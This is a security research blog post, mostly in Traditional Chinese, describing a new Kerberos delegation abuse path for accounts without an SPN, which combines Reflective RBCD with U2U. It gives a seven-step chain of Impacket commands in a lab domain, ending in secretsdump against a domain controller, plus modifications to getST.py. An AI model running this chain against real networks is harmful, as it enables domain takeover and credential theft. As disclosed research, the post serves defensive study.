新發現的 Kerberos 代理濫用路徑

TL;DR 連結到標題

This blogpost introduces a new path for abusing Kerberos delegation! By combining Elad Shamir’s Reflective RBCD technique, James Forshaw’s U2U sacrificial user technique, and extending Impacket to support S4U2Proxy with U2U, we can now obtain the forwardable ticket required for Constrained Delegation 不需要 Protocol Transition when the account trusted for delegation has no SPN.

However, like the sacrificial path Forshaw discovered, this also requires RC4 to be permitted in the domain, destroys the affected user account, and requires MAQ to be enabled in the domain (or for something with an SPN to already be compromised).

站在巨人的肩膀上連結到標題

受限委派連結到標題

Kerberos 中有兩種受限委派形式：

使用 Protocol Transition： 允許服務在不要求使用者先驗證的情況下偽裝成該使用者。為了在不驗證的情況下偽裝，Microsoft 引入了 S4U2Self 以產生可與後續 S4U2Proxy 一起使用的票證。
不使用 Protocol Transition： 服務無法僅使用 S4U2Self 產生可轉發票證。相反，只有當被委派的服務已經擁有可轉發票證作為偽裝的使用者時，才可以執行 S4U2Proxy。

反射式基於資源的受限委派連結到標題

在域中，任何使用者或機器預設都可以寫自己的 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性，並在自己身上設定 Resource-Based Constrained Delegation (RBCD)。RBCD 遵循與使用 Protocol Transition 的受限委派相同的 S4U 機制，但服務決定誰可以委派給它，而非域。

在不使用 Protocol Transition 的情況下濫用受限委派時，Elad Shamir 發現攻擊者可以在被攻擊的資源上設定 RBCD，以信任已加入 MAQ 的機器（或任何具有 SPN 的物件），然後使用 S4U2Proxy 產生可轉發的服務票證，並以提升許可權的使用者身份進行偽裝。這張票證隨後可作為第二次 S4U2Proxy 對原始服務的證據，該服務允許被攻擊資源進行委派。

將委派連結以產生並使用可轉發服務票證的過程稱為 反射式基於資源的受限委派。其視覺效果大致如下：

Pasted image 20261008131954.png

濫用無 SPN 帳號的委派連結到標題

如果被委派的帳號沒有 SPN，仍然可以通過另一種稱為 User‑to‑User (U2U) 認證的方式產生票證。當 U2U 被使用時，KDC 不是用服務的密碼加密票證，而是用 TGT 會話金鑰加密，這使得可以為沒有 SPN 的資源產生票證。

在使用 Protocol Transition 濫用受限委派時，James Forshaw 發現，如果你將使用者的密碼雜湊改為其 TGT 會話金鑰的雜湊，就能成功產生偽裝票證並透過委派進行跳躍。然而，這種手法會隨後破壞該使用者，因其憑證將不再有效。

方法論缺口連結到標題

根據目前的研究，我們可以使用 Reflective RBCD 來濫用 Constrained Delegation 而不需要 Protocol Transition，但這需要 SPN 才能工作。我們也有方法在沒有 SPN 的帳戶上濫用 Constrained Delegation，但這僅適用於 with Protocol Transition 的變體。

這篇部落格文章介紹了一條新路徑，透過結合 Reflective RBCD 與 U2U，開啟了在沒有 SPN 的帳戶上濫用 Constrained Delegation 而不需要 Protocol Transition 的方法。

與其他戰術相同，以下先決條件是必須的：

域允許 RC4 加密
已啟用機器帳戶配額（MAQ）
無 SPN 的資源可以配置 RBCD

這也會破壞被授權委派的使用者。

在沒有 SPN 的帳戶上濫用 Constrained Delegation 而不需要 Protocol Transition 連結至標題

假設我們已經取得使用者 LAMB 的控制，密碼為 Password1!，該使用者允許透過不需要 Protocol Transition 的 Constrained Delegation 委派給 host/DC01.secure.local。然而，LAMB 沒有設定 SPN。

為了成功透過委派切換到 DC01，我們需要結合 Elad Shamir 與 James Forshaw 的工作：

請求 TGT 並提取 LAMB 的 TGT 會話金鑰。
透過機器帳戶配額（MAQ）將新電腦加入域。
在 LAMB 上配置 RBCD，使其信任新增的機器以進行委派。
將 LAMB 的密碼雜湊改為其 TGT 會話金鑰。
以 U2U 執行 S4U2Proxy 以產生可轉發的服務票證，作為提升許可權的使用者。
將該可轉發票證（附加一個 S4U2Proxy）傳遞給被攻擊資源允許委派的服務。

Pasted image 20261008144129.png

步驟 1：取得 LAMB 的 TGT 並提取會話金鑰

getTGT.py -hashes :$(pypykatz crypto nt 'Password1!') 'secure.local/LAMB' -dc-ip 10.0.1.40

describeTicket.py ./LAMB.ccache | grep "Ticket Session Key"

Pasted image 20260929194849.png

此處，我們的會話金鑰為 b4758bcc4845a2bd4860eb5e8c3f5d12。

步驟 2：透過 MAQ 建立輔助機器帳戶

addcomputer.py -computer-name 'LAMBPC$' -computer-pass 'Password123!' -dc-ip 10.0.1.40 'secure.local/LAMB:Password1!'

Pasted image 20260929194920.png

步驟 3：配置 LAMB 信任 LAMBPC$ 以進行委派

rbcd.py -delegate-from 'LAMBPC$' -delegate-to 'LAMB' -dc-ip 10.0.1.40 -action 'write' 'secure.local/LAMB:Password1!'

Pasted image 20260929194951.png

步驟 4：犧牲 LAMB

changepasswd.py -newhashes ':b4758bcc4845a2bd4860eb5e8c3f5d12' 'secure.local/LAMB:Password1!'@10.0.1.40

Pasted image 20260929195031.png

步驟 5：U2U+RBCD S4U2Proxy（新穎步驟）

getST.py -u2u -impersonate 'Administrator' -nospn 'LAMB' -tgt './LAMB.ccache' -dc-ip 10.0.1.40 'secure.local/LAMBPC$:Password123!'

Pasted image 20260929195139.png

步驟 6：S4U2Proxy

export KRB5CCNAME=./LAMB.ccache

getST.py -impersonate 'Administrator' -spn 'host/DC01.secure.local' -additional-ticket './Administrator@[email protected]' -k -no-pass -dc-ip 10.0.1.40 'secure.local/LAMB'

Pasted image 20260929195238.png

步驟 7：賺錢！

export KRB5CCNAME=./Administrator@[email protected]

secretsdump.py -k DC01.secure.local

Pasted image 20260929195334.png

完整流程如下：

Pasted image 20261008133925.png

執行帶有 U2U 的 S4U2Proxy 連結至標題

新穎的步驟發生在反射式 RBCD 期間，當你執行第一次 S4U2Proxy 以取得可轉發票證時。處理此問題時，我嘗試使用 U2U 執行 S4U2Proxy，因為 LAMB 沒有 SPN。這在 Kerberos 中是合法的做法，只是 Impacket 尚未支援此特定功能。

為使帶 U2U 的 S4U2Proxy 正常運作，對 getST.py 進行了以下修改：

1. 在 PA-PAC-OPTIONS 中，將 resource_based_constrained_delegation 標誌設為 True。若未設定，KDC 會回傳 KDC_ERR_BADOPTION。

Pasted image 20260930171902.png

2. 在 kdc-options 中，將 enc-tkt-in-skey 標誌設為 True。這告訴 KDC 用 TGT 會話金鑰加密其回應票證。

Pasted image 20260930172008.png

3. 在 sname 中，將 name-type 設為 kRB5-NT-UNKNOWN 並在 SNameString 指定目標使用者。這將服務名稱設為 LAMB，即我們沒有 SPN 的目標使用者。

Pasted image 20260930171802.png

4. 傳統的 S4U2Proxy 請求會將證明票證送至 KDC，但由於我們使用 U2U，還需要提供一張 TGT 以便 KDC 提取會話金鑰。第一張票證是我們對 LAMB 的 TGT，第二張則是由 S4U2Self 產生的 Administrator 證明票證。

Pasted image 20260930171613.png

有了這些，我們現在可以成功使用帶 U2U 的 S4U2Proxy 產生可轉發票證，指向沒有 SPN 的資源！ :D

結論連結至標題

若沒有前人進行的驚人研究，我無法發現這條路徑。透過結合 Elad Shamir 的 Reflective RBCD 與 James Forshaw 的 U2U 犧牲使用者技巧，我們現在可以在不使用 Protocol Transition 的情況下，對 SPN-less 帳戶濫用 Constrained Delegation。這不是 Kerberos 的新漏洞，而是一套全新的步驟，能夠成功利用一個看似從未被執行過的設定。

這篇部落格文章也已上傳至 Sprocket Security!

新發現的 Kerberos 代理濫用路徑

TL;DR 連結到標題

站在巨人的肩膀上 連結到標題

受限委派 連結到標題

反射式基於資源的受限委派 連結到標題

濫用無 SPN 帳號的委派 連結到標題

方法論缺口 連結到標題